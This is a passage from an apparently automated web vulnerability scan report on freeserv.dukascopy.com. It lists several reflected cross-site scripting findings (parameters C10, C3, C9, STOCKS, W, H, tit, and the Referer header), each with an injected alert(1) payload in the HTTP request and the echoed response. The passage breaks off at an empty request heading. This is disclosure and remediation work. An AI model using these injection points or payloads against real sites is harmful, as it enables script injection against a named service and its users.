GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6e472c%20style%3dx%3aexpression(alert(1))%2057b386f1a75&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/index.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:25 GMT
Server: lighttpd/1.4.26
Content-Length: 15654

<!-- Check IB [http://www.horizonbroker.co.uk/index.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!-- mb=0 cpy=1 pop=1 --><html>

<head>
<title>Dukascopy Running Bo
...[SNIP]...
<body onload=load_tic() bgcolor=#0054a6e472c style=x:expression(alert(1)) 57b386f1a75 topmargin="0" leftmargin="0" class=light_scroll style="overflow: no;">
...[SNIP]...

1.13. http://freeserv.dukascopy.com/dhtml_rb/ [C10 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /dhtml_rb/

Issue detail

The value of the C10 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a77a6'%3balert(1)//b6c364b97db was submitted in the C10 parameter. This input was echoed as a77a6';alert(1)//b6c364b97db in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_selfa77a6'%3balert(1)//b6c364b97db&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/index.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:24 GMT
Server: lighttpd/1.4.26
Content-Length: 15590

<!-- Check IB [http://www.horizonbroker.co.uk/index.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!-- mb=0 cpy=1 pop=1 --><html>

<head>
<title>Dukascopy Running Bo
...[SNIP]...
<script>
var oPopup = window.createPopup();
var TM_OUT = null;
var link_terget = '_selfa77a6';alert(1)//b6c364b97db';
var Q_num = false;
var multi_url1 = '';
var multi_url2 = '';


function richToolTip(T,oB)
{
if(TM_OUT != null) window.clearTimeout(TM_OUT);

var lefter = event.offsetY + 0;
var topper = e
...[SNIP]...

1.14. http://freeserv.dukascopy.com/dhtml_rb/ [C3 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /dhtml_rb/

Issue detail

The value of the C3 request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ebad8'style%3d'x%3aexpression(alert(1))'e1bf3c6b891 was submitted in the C3 parameter. This input was echoed as ebad8'style='x:expression(alert(1))'e1bf3c6b891 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFFebad8'style%3d'x%3aexpression(alert(1))'e1bf3c6b891&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/index.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:22 GMT
Server: lighttpd/1.4.26
Content-Length: 15986

<!-- Check IB [http://www.horizonbroker.co.uk/index.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!-- mb=0 cpy=1 pop=1 --><html>

<head>
<title>Dukascopy Running Bo
...[SNIP]...
<a style='font-family: Tahoma; font-size: 9px; background-color:#FFFFFFebad8'style='x:expression(alert(1))'e1bf3c6b891; color: #707070; text-decoration: none;' target=_blank href="http://www.dukascopy.com/ad.php?adProgId=FreeCopy">
...[SNIP]...

1.15. http://freeserv.dukascopy.com/dhtml_rb/ [C9 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /dhtml_rb/

Issue detail

The value of the C9 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e209f'%3balert(1)//ecf7a0f343 was submitted in the C9 parameter. This input was echoed as e209f';alert(1)//ecf7a0f343 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=e209f'%3balert(1)//ecf7a0f343&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/index.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:23 GMT
Server: lighttpd/1.4.26
Content-Length: 15591

<!-- Check IB [http://www.horizonbroker.co.uk/index.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!-- mb=0 cpy=1 pop=1 --><html>

<head>
<title>Dukascopy Running Bo
...[SNIP]...
<script>
var oPopup = window.createPopup();
var TM_OUT = null;
var link_terget = '_self';
var Q_num = false;
var multi_url1 = 'e209f';alert(1)//ecf7a0f343';
var multi_url2 = '';


function richToolTip(T,oB)
{
if(TM_OUT != null) window.clearTimeout(TM_OUT);

var lefter = event.offsetY + 0;
var topper = event.offsetX + 15;
//alert(lefter)

...[SNIP]...

1.16. http://freeserv.dukascopy.com/dhtml_rb/ [STOCKS parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /dhtml_rb/

Issue detail

The value of the STOCKS request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4adb5"%3balert(1)//1a4ca4f9b4f was submitted in the STOCKS parameter. This input was echoed as 4adb5";alert(1)//1a4ca4f9b4f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,34adb5"%3balert(1)//1a4ca4f9b4f&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/index.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:13 GMT
Server: lighttpd/1.4.26
Content-Length: 15592

<!-- Check IB [http://www.horizonbroker.co.uk/index.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!-- mb=0 cpy=1 pop=1 --><html>

<head>
<title>Dukascopy Running Bo
...[SNIP]...
); //, ttip
}

function load_tic()
{ setTimeout("document.all.PRC_ID.src='prc.php?STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,34adb5";alert(1)//1a4ca4f9b4f'",10000);

}

function sr(id,price) {
   
   oB = document.getElementById("ID"+id);
if(!oB) return;
oA = document.getElementById("AR"+id);
if(!oA) return;

pOld = parseFloat(oB.innerHTML);
p
...[SNIP]...

1.17. http://freeserv.dukascopy.com/dhtml_rb/ [W parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /dhtml_rb/

Issue detail

The value of the W request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ed3ed'style%3d'x%3aexpression(alert(1))'f9b57f2e13e was submitted in the W parameter. This input was echoed as ed3ed'style='x:expression(alert(1))'f9b57f2e13e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /dhtml_rb/?W=990ed3ed'style%3d'x%3aexpression(alert(1))'f9b57f2e13e&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/index.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:12 GMT
Server: lighttpd/1.4.26
Content-Length: 15612

<!-- Check IB [http://www.horizonbroker.co.uk/index.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!-- mb=0 cpy=1 pop=1 --><html>

<head>
<title>Dukascopy Running Bo
...[SNIP]...
<marquee scrollamount='2' scrolldelay='0' style='width:990ed3ed'style='x:expression(alert(1))'f9b57f2e13e'>
...[SNIP]...

1.18. http://freeserv.dukascopy.com/qt/ [C8 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /qt/

Issue detail

The value of the C8 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 946a6"style%3d"x%3aexpression(alert(1))"829172158cb was submitted in the C8 parameter. This input was echoed as 946a6"style="x:expression(alert(1))"829172158cb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /qt/?W=269&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0946a6"style%3d"x%3aexpression(alert(1))"829172158cb&C9=&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:55 GMT
Server: lighttpd/1.4.26
Content-Length: 34317

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><html>

<head>
<style>
#logo {font-family:Tahoma; font-size:9px;
   
...[SNIP]...
<td style="BORDER-BOTTOM: #C0C0C0946a6"style="x:expression(alert(1))"829172158cb 1px solid;">
...[SNIP]...

1.19. http://freeserv.dukascopy.com/qt/ [C9 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /qt/

Issue detail

The value of the C9 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d5af5'%3balert(1)//8d65f695a57 was submitted in the C9 parameter. This input was echoed as d5af5';alert(1)//8d65f695a57 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /qt/?W=269&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=d5af5'%3balert(1)//8d65f695a57&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:56 GMT
Server: lighttpd/1.4.26
Content-Length: 34033

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><html>

<head>
<style>
#logo {font-family:Tahoma; font-size:9px;
   
...[SNIP]...
rsion = br_tmp.getVersion();
br_tmp = null;

function init() {
   setTimeout('timer_main()',1000);
// if (document.createElement) tooltip.d();
}

var orig_tit='';
var Q_num = false;
var multi_url1 = 'd5af5';alert(1)//8d65f695a57';
var multi_url2 = '';

function timer_main() {
   rpcSubmitForm(window,document.getElementById('tic_form_rezerv'), './prc.php');
   setTimeout('timer_main();',20000);
}

function sr(id,price) {
   oB = do
...[SNIP]...

1.20. http://freeserv.dukascopy.com/qt/ [H parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /qt/

Issue detail

The value of the H request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 62e75'style%3d'x%3aexpression(alert(1))'7757c735bc8 was submitted in the H parameter. This input was echoed as 62e75'style='x:expression(alert(1))'7757c735bc8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /qt/?W=269&H=36062e75'style%3d'x%3aexpression(alert(1))'7757c735bc8&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:42 GMT
Server: lighttpd/1.4.26
Content-Length: 34266

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><html>

<head>
<style>
#logo {font-family:Tahoma; font-size:9px;
   
...[SNIP]...
<div id=main_table_contaner style='overflow: auto; height: 36062e75'style='x:expression(alert(1))'7757c735bc8; width:100%' class=window_ramka>
...[SNIP]...

1.21. http://freeserv.dukascopy.com/qt/ [W parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /qt/

Issue detail

The value of the W request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 781b4'style%3d'x%3aexpression(alert(1))'bc6cafee2a5 was submitted in the W parameter. This input was echoed as 781b4'style='x:expression(alert(1))'bc6cafee2a5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /qt/?W=269781b4'style%3d'x%3aexpression(alert(1))'bc6cafee2a5&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:39 GMT
Server: lighttpd/1.4.26
Content-Length: 34269

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><html>

<head>
<style>
#logo {font-family:Tahoma; font-size:9px;
   
...[SNIP]...
<table style='table-layout:fixed;width: 269781b4'style='x:expression(alert(1))'bc6cafee2a5px; font-family: Tahoma; font-size: 9px; background-color:#FFFFFF; color: #C0C0C0; font-weight:bold;' border=0 cellpadding=0 cellspacing=0 >
...[SNIP]...

1.22. http://freeserv.dukascopy.com/qt/ [tit parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /qt/

Issue detail

The value of the tit request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e7ee4'%3balert(1)//1d43df579f4 was submitted in the tit parameter. This input was echoed as e7ee4';alert(1)//1d43df579f4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /qt/?W=269&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=e7ee4'%3balert(1)//1d43df579f4&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:43 GMT
Server: lighttpd/1.4.26
Content-Length: 34539

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><html>

<head>
<style>
#logo {font-family:Tahoma; font-size:9px;
   
...[SNIP]...
= br_tmp.getMoz();
BrowserCheck.version = br_tmp.getVersion();
br_tmp = null;

function init() {
   setTimeout('timer_main()',1000);
// if (document.createElement) tooltip.d();
}

var orig_tit='&nbsp;e7ee4';alert(1)//1d43df579f4';
   var Q_num = true;
   var def_popup = true;
   var multi_url1 = '/chart/?stock_id=';
   var multi_url2 = '&interval=60&points_number=100&view_type=candle&width=500&height=250&osc_type=-1&osc_height=100&p1
...[SNIP]...

1.23. http://freeserv.dukascopy.com/analytics/index.php [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /analytics/index.php

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload e9d67--><script>alert(1)</script>bcb9c5a6294 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

